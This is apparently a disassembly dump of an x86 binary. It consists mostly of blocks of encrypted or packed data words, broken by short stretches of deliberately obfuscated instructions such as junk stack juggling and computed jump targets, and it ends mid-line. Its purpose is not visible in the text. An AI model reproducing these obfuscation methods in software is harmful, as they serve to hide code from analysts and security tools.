41DDE9E8h dd 9FB10C13h, 14DDE9F4h, 0B3B6066h, 0AD2EB0DBh, 25461563h dd 72390EDh, 0B375108Fh, 0ABCE47E3h, 0A9356063h, 0F81F58E3h dd 0D095263h, 41DDE930h dd 0A7B91213h, 14DB279Fh, 0D2B72E21h, 3137FA9Ah, 23B79E61h dd 5637FC4Eh, 746C905Dh, 43471089h, 3C8390EDh, 2A75108Fh dd 67CE77E3h, 0CF356063h, 0CB1FACE3h, 94095263h, 8DDDE900h dd 0C1B91213h, 27DB3F7Bh, 1ECD1E21h, 883210E2h, 0BFD8FC66h dd 0A709EA99h, 14DB3843h, 88399069h, 0C1BF1566h, 27DDA7AAh dd 0EEC9C68Fh, 19B72E99h, 4B37FC44h, 22320DE3h, 968F9666h dd 8937FA9Dh, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh dd 86B72E99h, 2D37FA9Dh, 113219E2h, 4EB72E66h, 4B37FA9Dh dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h dd 11321523h, 7384905Dh, 0C13D1089h, 2232156Dh, 73D690EBh dd 0E5DB153Eh, 7FCDEA9Dh, 0CDC9AFE3h, 1AB71A63h, 5321566h dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8DDDEED8h, 44399069h dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0F8110CD3h dd 71879C63h, 0C437FC67h, 0A73DFC58h, 11321540h, 8B336BEDh dd 0C5EC9E98h, 227215A5h, 88F2E66h, 8737FC45h, 44321DE4h dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 27DB3777h dd 112790A1h, 8832108Fh, 0CD521566h, 0CB33ECD3h, 0DBAF9863h dd 7737E570h, 66B01AB5h, 0AF321566h, 0FFF8FAFBh, 87E1EA63h dd 0BBCDCBE5h, 0DB879E99h, 9837FC67h, 613200D3h, 5CAF9863h dd 0DD37FA39h, 8B79EB5h, 137FC45h, 0AD33ECE3h, 0BFBF7463h dd 14C20655h, 15BFC699h, 41C2037Dh, 0A13DC699h, 1132156Ah dd 89CB90E5h, 0AD37108Fh, 0DDCDEAB8h, 77688EBh, 5BCD1096h dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 41DCDF89h dd 0A13DC699h, 1132156Dh, 89CBA0EDh, 0C4DB108Fh, 0A9321561h dd 0F833ECEBh, 71879C63h, 6F37FC67h, 9EBE2A8h, 0F896E697h dd 77CDEAF0h, 1B4288EBh, 0F1CD1089h, 9419D2EDh, 8DDB3777h dd 6BD390EFh, 0A7B9108Fh, 14DB3777h, 5BF4531h, 41DD4A83h dd 0A7B9C499h, 14DB170Bh, 0DB94236h, 41DB3777h, 36BF9836h dd 0EE37FA06h, 3E29EB7h, 29BF3EAEh, 0A137FC64h, 0F82290DBh dd 0C3D1563h, 4432154Dh, 22EB90EDh, 9419108Fh, 8DDB05E3h dd 0C23DD45Dh, 22321571h, 368790EDh, 0D31108Fh, 41DB05E3h dd 54390EFh, 52DB108Fh, 0D9321566h, 497AD4EDh, 22321A99h dd 0C8B79C26h, 8937FC66h, 0AD1EE0E3h, 0A7B7D263h, 1137FC76h dd 0E2321566h, 54327D26h, 48631566h, 24A7EA66h, 7737FC63h dd 0AD0308F3h, 97B79C63h, 9837FC41h, 611564E3h, 0F1CD4C63h dd 27DB3217h, 135FA099h, 7765108Fh, 0AD1004D3h, 84B79863h dd 0EE37FA02h, 0DBF14B6h, 0CF37FC76h, 0CB1564DBh, 7C879E63h dd 7B37FC64h, 71879EC2h, 8F37FC55h, 11CE53A1h, 49321566h dd 0A3710A6h, 21701475h, 0F8357CE3h, 0F9BF9E63h, 0CD37FC41h dd 64F5B86Eh, 1132159Ah, 0BD879C66h, 0C737FC55h, 0A73DEA9Eh dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h dd 4EB11566h, 71879C62h, 0CB37FC55h, 0EECDE380h, 8B31D5A7h dd 0AD357CE3h, 578F9663h, 1037FC4Bh, 88AF9169h, 7AB31566h dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 3E97A8E5h, 1E33108Fh dd 88322BE2h, 4532AD66h, 9FB11566h, 14DDEEA8h, 80B61A66h dd 0C9321566h, 0CD55F2FBh, 91E1EA63h, 0C3D8559h, 4432156Eh dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h dd 67C9DBDBh, 0C03D1563h, 2232156Eh, 768588EBh, 5BCD1089h dd 0CF3652EEh, 0CB1564E3h, 92F53E63h, 2599118Eh, 44CE53A1h dd 0CB321566h, 0EECDEA77h, 0BB07A0EFh, 2C60108Fh, 22329566h dd 0A4CD150Ch, 8DDB3EE3h, 53BB8099h, 0A968108Fh, 0F83EC8EBh dd 8833D263h, 0C7321566h, 0AFBB11A7h, 14DB19BBh, 77C7058Fh dd 4296FC99h, 0A9521566h, 0F83EC8EBh, 13B9E63h, 0ABC9DFEBh dd 6C0A9463h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h dd 113205E3h, 0BC29E66h, 0C1B913A0h, 27DB2647h, 1133138Fh dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0DD879866h dd 0A937FC63h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 27DB10FFh, 161790EDh dd 48B7108Fh, 44289069h, 0A7F41566h, 14DB1B83h, 2FE07D21h dd 0F1CDC1FCh, 27DB0B9Bh, 6B5D90EBh, 58CD108Ah, 0C1E2EA34h dd 1AB71AA6h, 9A321566h, 611974E3h, 4BF29063h, 22320FE3h dd 0F4B7D366h, 0C437FC68h, 9E2EFC0Eh, 0DF87EABFh, 9C37FC78h dd 64487AE3h, 16E2EA63h, 0E2B7C599h, 11379069h, 0A9DB1566h dd 0CD321566h, 0CDC9DFE3h, 9C644563h, 64A1E8E3h, 4FE2EA63h dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h dd 0FEC9DFEBh, 49B94563h, 0CF0E5565h, 22329DF6h, 0ACA79C66h dd 8D37FC71h, 4432159Eh, 0AB3E45EDh, 0F838A4F3h, 0CCB94D63h dd 85193142h, 2883905Dh, 933D108Fh, 88321576h, 538F905Dh dd 0A13D108Fh, 11321562h, 8836D707h, 6036D207h, 22321566h dd 151651A1h, 88321566h, 443210DEh, 4FBF9866h, 0EE37FC28h dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h dd 27DDE9FCh, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h dd 9A7CEA99h, 61110CE3h, 51A79E63h, 0A937FC66h, 17F196B8h dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh dd 23CBA0EFh, 4A6D108Fh, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h dd 14DDE9FCh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h dd 0CFEB3E66h, 0CB110CE3h, 4A79E63h, 0B37FC66h, 0AD33C4DBh dd 0A63D1463h, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh dd 0EECDEA27h, 88329B8Fh, 0DEB7D266h, 2037FA9Ah, 9A321566h dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 41DB367Fh dd 222780EDh, 0ACB1108Fh, 8DDB14B7h, 0CB61A67h, 19321566h dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h dd 8B2A568h, 85381A87h dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 0AD33ECD3h, 0F3B7D263h dd 1037FC67h, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h dd 40F69638h, 0DDCBD28Fh, 8BB7D299h, 8D37FA9Ah, 0CF321566h dd 26F196B8h, 94B90B65h, 8DDB367Fh, 442780EDh, 0A17C108Fh dd 0F82C9CDBh, 0C3D1463h, 44321465h, 0A03DCD5Dh, 1132156Eh dd 0E3DCF5Dh, 4432154Dh, 23CBA0EFh, 8CB9108Fh, 8DDDE9FCh dd 48164967h, 2232CB8Fh, 94F54A66h, 8DDB0BEFh, 44321567h dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 0AD33C4DBh, 0A63D1463h dd 113215DDh, 0AB2B884Dh, 0C9B9108Fh, 27DB3777h, 0DE19DE65h dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h dd 0C1F5EA99h, 27DDE9FCh, 11321564h, 3E3DCBEDh, 0C4CB9568h dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h dd 1132EA87h, 3EB3E66h, 0AD110CE3h, 37A79E63h, 0F837FC66h dd 77CDEA20h, 0B8A890A1h, 22301089h, 0CFB91566h, 83CA369h dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h dd 0DDD394BFh, 3A321566h, 91B79EBFh, 0CF37FC45h, 0CB3200F3h dd 0C08F9663h, 8937FC67h, 0BAFB9169h, 0FA09EA99h, 113A9769h dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h dd 442798EDh, 0EBB7108Fh, 11349069h, 3DBB1566h, 41DB1573h dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 0F83200D3h dd 90AF9863h, 0BB37FA39h, 72F1ECB5h, 982253EDh, 611B28E3h dd 82B14D63h, 0DF8F987Ah, 0BC37FC77h, 0AC165165h, 598F98CDh dd 8F37FC48h, 35165165h, 35BFBE36h, 41DB0C5Fh, 67616CBh dd 0D26CBE4Eh, 79AF9830h, 0BB37FA38h, 0FF95FCB5h, 0CEDFFFFFh dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AA447DC0h, 0A8ED96A7h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4065DCB7h, 2032DCF1h dd 0BA8FFAE0h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 0BB61FC38h, 0DF07462Fh, 51479BD6h, 3C6D5h, 5492B85Eh dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0D67FBC2Fh dd 3C5253B8h, 5E693511h, 0B977DDD0h, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 83DB5830h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 1517FB23h dd 25F8957Fh, 0FDF53FD5h, 9A3F31ADh, 0B7342292h, 23AC7ACFh dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7012B93Dh, 0B42FFFA0h dd 0C87D7FC0h, 0F305E983h, 8DDB8BA4h, 0EFFCA6BDh, 8D8D8D05h dd 0B805F017h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h dd 0F2850F49h, 8BFFFFFFh, 4DBD83C0h, 5E916h, 0BD830975h dd 5E91121h, 50197400h, 0B8C08B53h, 411h, 5AD8589h, 9D8D05E9h dd 5EBB92Bh, 585BD3FFh, 1121BD83h, 740005E9h, 0B8535017h dd 411h, 5AD8589h, 9D8D05E9h, 5EBB5CCh, 585BD3FFh, 0F2BBC08Bh dd 8D4672A4h, 0F019C58Dh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0F259960Bh dd 0EE434644h, 459D23B7h, 8905E925h, 0E926558Dh, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 14B54477h, 605376A6h, 585C7B2h, 0A005E908h, 900005Bh dd 0E90F7995h, 3D85C705h, 5E916h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 956C355h, 0E9018D85h, 7DB5FF05h, 0FF05E925h, 0E90BC595h dd 7DCB8105h, 6A10C1A1h, 9595FF00h, 8B05E91Eh, 0E60DEBC0h dd 8CEFE606h, 0C9040411h, 28AE13ABh, 8FB704EBh, 5BE93C7Dh dd 0E0000005h, 765C79A0h, 8EE0B3Ah, 997F9CCBh, 280E2B5Eh dd 9EA2BFEAh, 5306E44h, 9AC102E8h, 2D58977Dh, 0BDF02A10h dd 44F2D3A0h, 13390302h, 0C255338Ch, 63275588h, 0F7DDFA25h dd 985C8ABDh, 0E8BBEA5Eh, 3CBA5B66h, 6FE6A8D8h, 31E816C9h dd 0C96FC383h, 0F355CB16h, 639F6391h, 1420634h, 4573A6E0h dd 27EB197Bh, 9F8FBDE8h, 0C3693540h, 95CFD5A0h, 205F4562h dd 8AABD8F5h, 0C96F9ADCh, 11AE2416h, 93C1EC2Bh, 39678ECFh dd 0D97DE55h, 0A086A3CEh, 6D053366h, 16C96F54h, 134174AEh dd 0B8E6114Fh, 2A5192EEh, 403584FCh, 451F365Eh, 63BD80Bh dd 0A2943C6Fh, 838C40CFh, 52000000h, 661488C2h, 16C91A20h dd 549F7AEh, 8916C91Ah, 0AC4FB113h, 1A99DD8Bh, 6E2516C9h dd 0C91AFEC0h, 288A0016h, 793BD38Bh, 0B116C91Ah, 18C8E392h dd 1840CFD7h, 1, 5786C2DEh, 0FA296529h, 0C6883657h, 0C416C91Ah dd 8B015988h, 377236EEh, 0D712D604h, 0DE406BAAh, 7FB2ECB0h dd 73026151h, 906A852Bh, 2EF82651h, 8B195C91h, 7410D14Fh dd 0A6F1F4DFh, 20FA2744h, 0C08AB8DFh, 0D0033D23h, 84C285B3h dd 0C8F6215Fh, 0AA6E9CFEh, 0DB06456Eh, 1AC48A38h, 54CA16C9h dd 75D4C4F2h, 3B66A400h, 0BDE26998h, 8029E241h, 1C563CE3h dd 0BAF7BBE9h, 0ED8E5D8Bh, 0DA6D2388h, 488340CFh, 49000000h dd 3863A17Bh, 0BDA3400Ah, 0B1195A7Fh, 0C91A4303h, 73D54B16h dd 0E21FE311h, 547785B3h, 1A458321h, 0AED917FDh, 4E81BC80h dd 0C5B05120h, 0CFD52AE6h, 5F4640h, 0C20C0000h, 672B5984h dd 57CFFD28h, 0F9376D08h, 0C283B1CEh, 26681686h, 0A816C91Ah dd 50C36E3h, 0DC3E2C98h, 8FB44C7Ah, 2716C9F0h, 16F06D08h dd 0B680AED5h, 3D963A19h, 0A47E40CFh, 0B4BF965h, 9316C9C4h dd 6A18BB1Dh, 16C9C424h, 769734AAh, 0Dh, 0A927633Dh, 8817B288h dd 53F05283h, 0AC5A7B25h, 16C91AEAh, 0FBE17EF4h, 9D618FBEh dd 1E023063h, 99D6CEA7h, 0AFEDC76Ah, 740E784h, 0EE9C3FAFh dd 1C31F575h, 49781B91h, 0AF12D833h, 0A357391h, 13B012DCh dd 2A5D975Bh, 0BAED270Dh, 45B0F48Ch, 33821320h, 0F5286242h dd 10377852h, 0D47B18E2h, 5381B4EEh, 0EA28558Fh, 65C791BFh dd 8DE84737h, 76B0DD17h, 45125402h, 269C1320h, 184562C4h dd 450549F7h, 13891320h, 88C99776h, 68E74526h, 0AD000001h dd 6CAD176Fh, 0BE932F6h, 4AACBA0Eh, 4DF0521Ch, 32FF329Fh dd 134F291Ch, 4FECB6E4h dd 0E92AA86Dh, 0E57B9683h, 0EE04DA35h, 892C8ECCh, 20309BDBh dd 4BAD2313h, 6093CEA8h, 26000BC3h, 5685C2E7h, 377157F4h dd 0E0BAE704h, 0F5DB789Fh, 22518EBBh, 588792C0h, 2120042Dh dd 0EC6BAC6Bh, 780698BAh, 59937916h, 0F834F826h, 9BD79BC9h dd 0D303E6Ch, 747F568h, 8713209Ah, 0C827AF11h, 4581B0ADh dd 0FD3494DFh, 1B553BD8h, 24ECCBE8h, 3C4526E0h, 40h, 0A6186F02h dd 19C15503h, 0D74D16C9h, 0CF7D9EA9h, 16C91A8Fh, 42FC990Fh dd 16C91A7Ch, 0B0A1D471h, 6A44E759h, 3562FF2Eh, 0C9191787h dd 84A11716h, 9EA6h, 18C6E700h, 16C91A56h, 1745E258h, 6CAD176Fh dd 0B5E30A4Bh, 915B89EBh, 73B28C2Fh, 0B3501A48h, 6366586h dd 533CB7CDh, 828741DEh, 941C328Bh, 0B6E5F01Eh, 7D877936h dd 3953D0B2h, 9BD9FDBAh, 7CB69C39h, 0C462C49h, 0EC13ABD9h dd 7E132045h, 0F617462Fh, 20450648h, 16498413h, 1C61EE8h dd 23DA5F8Bh, 720F7180h, 21F528Ch, 5E0171C9h, 0F6CF8F3Dh dd 59CF1320h, 0C8E18FBCh, 4E19D0DDh, 0ACE6AAD8h, 0F0674B79h dd 6A9D885h, 8042A543h, 0FA528B28h, 2039E78Ah, 361C20B5h dd 6F75A3C0h, 7C335817h, 5129A30Ah, 0A2B4CEFh, 0C9911A5Ch dd 912EA416h, 39BAC2D7h, 0B0DE541Ch, 638ACBA5h, 73A6E0C6h dd 88BBF6D0h, 245E44EBh, 362BC3F1h, 225A538h, 0D40E96DFh dd 0E824FEA1h, 48751CB9h, 1A37AB19h, 0AB5CECBCh, 50EDFC5Eh dd 0C3A946CFh, 92B35689h, 0B473A2E4h, 0C0E7282Ah, 9D55F268h dd 4C7BB892h, 0D1B7541Eh, 78EC1496h, 9148F361h, 0A61D012Fh dd 689BD5CFh, 0F82B654Bh, 0C0ECAh, 7B4E0000h, 8DE9B84Ch dd 13B0170Ah, 82C29E0Ch, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h db 75h, 47h, 86h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push 3D5Bh mov [esp], ebp push edx push ebx mov ebx, 15940118h sub ebx, 9BC47DCh neg ebx not ebx sub ebx, 292F2496h not ebx xor ebx, 18A772B8h mov edx, ebx pop ebx mov ecx, edx pop edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push ecx sub dword ptr [esp], 17E428A7h pop dword ptr [ebp+8] add dword ptr [ebp+8], 17E428A7h push dword ptr [esp] pop ebp add esp, 4 mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5461C3 ; --------------------------------------------------------------------------- dw 61D6h dd 70D628CDh, 96B8E8B5h, 305F01Eh, 0EE0FFC5h, 68181A06h dd 0F87CBCCBh, 3A7D6C89h, 0C440D31Bh, 782CCB63h, 0E438A57Dh dd 0CA570A45h, 0E03C9CAFh, 526E63B7h, 0E329D68Bh, 541FD70Ch dd 9F70A956h, 0AB42C22Ah, 99500D1Dh, 16515EC3h, 0B9789472h dd 5F2F2F02h, 0C126189Bh, 51055537h, 0EB27378Dh, 8, 0C0A12700h dd 509E970h, 0E7680000h, 0E905F020h, 0FFF96047h, 0F0214968h dd 603DE905h, 0D868FFF9h, 0E905F022h, 0FFF96033h, 7B98BFFFh dd 0D2A5995h, 9EBBEA27h, 2D4A7DB8h, 0C1DE0947h, 4F8D25BDh dd 0E0210724h, 77B69CB9h, 0F492F4Ch, 11F2BFDCh, 39052363h dd 7452AB13h, 0B65984C2h, 0EA339387h, 8A27EC49h, 0AFEDC7D2h dd 0EF8C5684h, 7F9CCF09h, 0C3833152h, 0C716C932h, 8F055D88h dd 0F161B9F2h, 15532D4Eh, 0D6934DEAh, 0E01C3234h, 0F8A6C76Ah dd 13203CB6h, 6D25C238h, 203CEDD5h, 0C690A13h, 26F1F19Fh dd 33BEF45h, 84B50000h, 47E91843h, 0CFFE3B81h, 3C26D7A1h dd 63FDC44h, 0DE0744AEh, 7E48769Dh, 6917BA1Ch, 1C32EF84h dd 8F2554CAh, 6647C9FAh, 0E8238DE5h, 5BBD87B5h, 7EBD97B8h dd 0BE5B2553h, 0BD6D8304h, 72158BE4h, 0A2E3A351h, 7BEBEBACh dd 18E2103Fh, 4A6119B6h, 0BEDF82F2h, 0A2AFEF9Dh, 8BD6EBACh dd 28E782D2h, 1AB72D85h, 57195160h, 0C063D9E1h, 2BADF19Fh dd 38E6EE45h, 0EE452B76h, 34AA0278h, 56906A97h, 0FFD90623h dd 5E6997BEh, 452BEEB0h, 187AF0EEh, 285B957Bh, 0DFB76EF7h dd 0C17D7576h, 333h, 57749BDBh, 0E9063571h, 7A97C603h dd 9265994h, 9DBAE523h, 33714999h, 0C405EB08h, 5B9A809Dh dd 0F32D1330h, 0F5D6A3C0h, 393A0747h, 502E8713h, 3960A17Bh dd 6BA4410Bh, 5200A313h, 1C392B98h, 2B05A81Eh, 0BFA5C2EDh dd 90285681h, 63B3D471h, 0D4E7BB5h, 0D05384E6h, 1F755C08h dd 2D16B27h, 39790000h, 0D30FF512h, 64A187A4h, 0F7321835h dd 83C1A7C4h, 0AB373B58h, 89A6D10Fh, 1E3B62A3h, 0B1CEF938h dd 415E91CBh, 0A1E59374h, 2D13393Bh, 176FF6D4h, 9E304A7h dd 0A36D9BCEh, 2B9E4C06h, 0A2181C39h, 5E6DC74h, 78111339h dd 6345F9Eh, 0B6A9F3Ch, 3FCCF0A0h, 15C3E445h, 13390D51h dd 294AE75Dh, 1D1h, 5D21CFF0h, 6113390Dh, 274E8FEBh, 0A17B5C8Ah dd 0D2013E63h, 0DB78DAA4h, 5A88BBF5h, 0C295C96h, 680B7BD3h dd 32233DBAh, 92D1411Ch, 3FD70567h, 13200C03h, 0BBA2D374h dd 0CAAEC9Ah, 0BE341320h, 0E709800Dh, 62FFC59Dh, 2681DD83h dd 6BD345h, 6F990000h, 0E304A717h, 360887B4h, 0F424AA64h dd 16C979B2h, 0FC29C63Ch, 324A554Eh, 983BB11Ch, 6885C977h dd 3DB01320h, 0E256906Fh, 13EAE06h, 78DAA4D2h, 0E91823DBh dd 6C528FF3h, 0D58F2CEAh, 13203FEDh, 9F0C690Ah, 4526F2F1h dd 5214C2E3h, 5C132003h, 0C12849E6h, 0EF000000h, 9FE72EC0h dd 0B95C79BEh, 20A94B0Bh, 40DD5313h, 5588C212h, 0FA256327h dd 0ADE7C1CCh, 4D884C7Ah, 0C022EC1Ah, 0D0033D23h, 22A4DEA2h dd 5D0DAABCh, 4A0CBA41h, 5416C9D8h, 0FD1A7CDEh, 0BD01AFD0h dd 4116C9D8h, 6C742ECBh, 0F216C9D4h, 2F6885B8h, 16C467D7h dd 1C2F423Dh, 2F50F369h, 4AE71A55h, 0C7012664h, 3A9C6694h dd 5180BD97h, 0E9270DB4h, 77F88DBEh, 5F576980h, 142A3h dd 83AAEA00h, 15448066h, 0A6D512F8h, 3568A389h, 0C9F43218h dd 803AA8ACh, 14FA1742h, 0A98FACD3h, 3C223F6Ah, 0E5B2CF02h dd 38105604h, 459E1339h, 62A17B67h, 76B49A37h, 0E482E4Bh dd 4A78A3E1h, 0D3011E80h, 275588C2h, 0D9F62963h, 0A4DE48A0h dd 17794371h, 0B2164574h, 83401FE5h, 7B81A45h, 0BC831228h dd 94C15ED1h, 324389E6h, 0BC5FD51Ch, 417FA4E2h, 0BC1EE816h dd 57B3EA19h, 6FC41E92h, 0F2A3DDF9h, 0C865B827h, 0E25B6721h dd 3F601320h, 20E2CD91h, 2761D113h, 0FF592F4h, 9F85A2D5h dd 4C083661h, 9Bh, 0A7176F8Ch, 14C2E304h, 16C91A52h, 508AE65Ch dd 8825EF1Dh, 392B10CEh, 0FA289E1Ch, 0DA88FC36h, 13390594h dd 53ABDA16h, 197BA2E3h, 0FDE514B7h, 0DE094CBCh, 1E78E2Bh dd 0C2F194C7h, 369D498h, 1CD47151h, 804C684h, 165F82EEh dd 421548Eh, 0F764A8D7h, 2FDF61B9h, 3F72AC92h, 0DF124D11h dd 1F56CDB1h, 29D74B85h, 66094365h, 7491F369h, 0E927548Eh dd 438FCF7Dh, 990F6609h, 739ADB37h, 76197B45h, 0F3E7B55h dd 0A7E717E1h, 27660943h, 0A05C14B1h, 3, 0C233A1E0h, 692D5B82h dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh dd 3E023063h, 0E0A4D201h, 864775A4h, 0E1A68h, 241C8900h dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68242C89h, 1E7h dd 68243489h, 5F01FC3h, 83242C8Bh, 8B5404C4h, 0C4832434h dd 8BB5304h, 81000000h, 0A85380EBh, 81F30100h, 0A85380C3h dd 5B2B8900h, 5324348Bh, 0C381E389h, 4, 8704C383h, 0FF5C241Ch dd 835D2434h, 4CE904C4h, 0D6FFF95Bh, 0B872E8CFh, 5F0243Fh dd 0E0FFC503h, 7C14034Fh, 32D9894Fh, 34105B9Dh, 56AB7383h dd 5BD1C527h, 4F5B501Eh, 17ED4F9Ch, 3DAF810Ch, 2F78BF62h dd 0DCE0F10h, 55A6E38Ah, 7F9A3AADh, 255397B7h, 36179D63h dd 7AA837B5h, 3B04E1D9h, 1689A581h, 6A6E7F63h, 7D1D9D1Fh dd 4D4D6553h, 6AFFA9FBh, 79CB662Ch, 44D21B26h, 46EA43A8h dd 49258ABBh, 16BD05Ah, 65C92F28h, 4A1B9C2Dh, 4A114BEBh dd 4C94263Ch, 6B8B04EBh, 8E90AA9h, 88000005h, 1E042148h dd 0B096B3E2h, 41274473h, 0D0B6D306h, 464A6792h, 0ADD8169Ch dd 4269AA90h, 0D5003F25h, 6598D2B8h, 0EC9A7B48h, 13393FAAh dd 0C2FDDB34h, 63275588h, 7D57FA25h, 19E31140h, 225083BDh dd 2E14BB58h, 0CF93C1F4h, 29346295h, 46E3124Fh, 0C7F52460h dd 6B99C403h, 84469A7h, 654977D9h, 711787EEh, 437D274Eh dd 0CE0DF310h, 61A086A3h, 3440836h, 53CAAEDCh, 920C3B22h dd 0CDEDF356h, 0ED2C12AFh, 85BFA5C2h, 0B78C2452h, 0FF16C93Dh dd 4A1695E0h, 6640CFF0h, 5Eh, 5588C22Ch, 1ACD8F27h, 0E60516C9h dd 8D9FCE8Fh, 0EA790055h, 0F9A78623h, 0F740CFF9h, 1, 5786C2BDh dd 0FA296529h, 9ACD08CCh, 14435E6Ch, 0F09EC63Dh, 16C9E5AEh dd 0CC09BA30h, 98CD6AD7h, 0B15F80DDh, 16C97BEDh, 0F8DE7BF1h dd 